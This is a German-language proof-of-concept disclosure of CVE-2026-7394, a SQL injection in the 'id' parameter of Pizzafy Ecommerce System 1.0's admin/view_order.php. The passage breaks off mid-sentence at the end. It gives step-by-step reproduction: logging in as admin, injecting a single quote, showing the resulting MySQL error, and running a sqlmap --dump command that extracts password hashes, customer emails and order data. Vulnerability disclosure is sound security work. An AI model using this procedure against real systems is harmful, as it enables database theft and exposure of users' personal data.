
Proof-of-Concept-Exploit für CVE-2026-7394, eine SQL-Injection-Schwachstelle in SourceCodester Pizzafy Ecommerce System 1.0. Demonstriert authentifizierte Admin-SQLi über den Parameter `id` in `admin/view_order.php`, die einen vollständigen Datenbank-Dump einschließlich Benutzeranmeldedaten und personenbezogener Daten (PII) ermöglicht.
admin/view_order.php| Feld | Wert |
|---|
| Anbieter | SourceCodester |
| Produkt | Pizzafy Ecommerce System using PHP and MySQL |
| Version | 1.0 |
| Schwachstelle | SQL-Injection |
| CWE | CWE-89 |
| CVSSv3-Score | 7.2 (Hoch) |
| Angriffsvektor | Netzwerk |
| Authentifizierung erforderlich | Ja (Administrator) |
| Forscher | Xmyronn |
| Datum | 2026-04-11 |
Datei: Pizzafy/admin/view_order.php
Parameter: id (GET)
Der Endpunkt admin/view_order.php im Pizzafy Ecommerce System 1.0 bereinigt den GET-Parameter id nicht ordnungsgemäß, bevor er an eine MySQL-Abfrage übergeben wird. Ein authentifizierter Administrator kann diesen Parameter manipulieren, um beliebiges SQL einzuschleusen, was zu einer vollständigen Kompromittierung der Datenbank führt.
Navigieren Sie zu:
http://localhost/pizzafy/Pizzafy/admin/index.php
Melden Sie sich mit Administrator-Anmeldedaten an.
http://localhost/pizzafy/Pizzafy/admin/index.php?page=orders

Klicken Sie bei einem beliebigen Bestelleintrag auf View Order.

Die abgefangene GET-Anfrage sieht wie folgt aus:

Ändern Sie id=1 zu id=':

GET /pizzafy/Pizzafy/admin/view_order.php?id=' HTTP/1.1
Antwort — MySQL-Fehler offengelegt:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''' at line 1 in
C:\xampp\htdocs\pizzafy\Pizzafy\admin\view_order.php:15
Speichern Sie die Anfrage in view_order.txt und führen Sie aus:
sqlmap -r view_order.txt --dump --batch

sqlmap bestätigte Injection-Typen:
| Typ | Titel |
|---|---|
| Boolesch-basiert (blind) | AND boolean-based blind — WHERE-Klausel |
| Fehlerbasiert | MySQL >= 5.0 FLOOR-Fehler |
| Zeitbasiert (blind) | MySQL >= 5.0.12 SLEEP |
| UNION-Abfrage | Generische UNION-Abfrage — 11 Spalten |
Vollständige Datenbank ausgelesen:
Database: pizzafy
Tables: users, user_info, orders, order_list, product_list, category_list, system_settings
Offengelegte sensible Daten umfassen bcrypt-Passwort-Hashes, Kunden-E-Mails, Bestelldetails und Systemkonfiguration.
Ein böswilliger authentifizierter Administrator (oder ein Angreifer, der Administrator-Anmeldedaten erlangt hat) kann: